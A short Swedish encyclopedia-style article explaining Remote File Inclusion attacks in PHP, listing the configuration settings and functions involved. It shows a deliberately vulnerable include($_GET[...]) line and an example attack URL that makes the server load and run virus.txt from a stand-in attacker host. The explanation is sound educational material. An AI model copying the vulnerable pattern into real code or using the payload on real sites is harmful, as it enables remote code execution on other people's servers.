Remote File Inclusion är en typ av attack i webbaserade skriptspråk. Attacken innebär att en person kan exekvera sin egen skriptkod på någon annans server. Om personen skulle lyckas med att exekvera sin kod i hemsidan via rfi, så kommer denne få åtkomst till alla filer på webbplatsen och kunna ändra dem om inte rättigheterna är inställda rätt på webbservern.
Exempel, attack i PHP
PHP-kod:
include($_GET["sida"] . '.html');
Exempel på vanlig användning
http://server.se/vulnerablepage.php?sida=nyheter
Användaren går in på sidan och nyheter.html öppnas och körs på server.se
Exempel på hur en attack skulle kunna gå till
http://server.se/vulnerablepage.php?sida=http://attackerarens-server.se/virus.txt?
Istället för att öppna en lokal fil, öppnas filen virus.txt på attackerarens-server.se, och körs på server.se lokala servern.
Krav och funktioner
För att den här typen av attacker skall fungera måste antingen allow_url_fopen eller allow_url_include vara påslaget i php-konfigurationen, beroende på version av PHP.
PHP funktioner som kan vara sårbara för remote-file inclusions:
include_once
include fopen require()
require_once()
file_get_contents()
Källor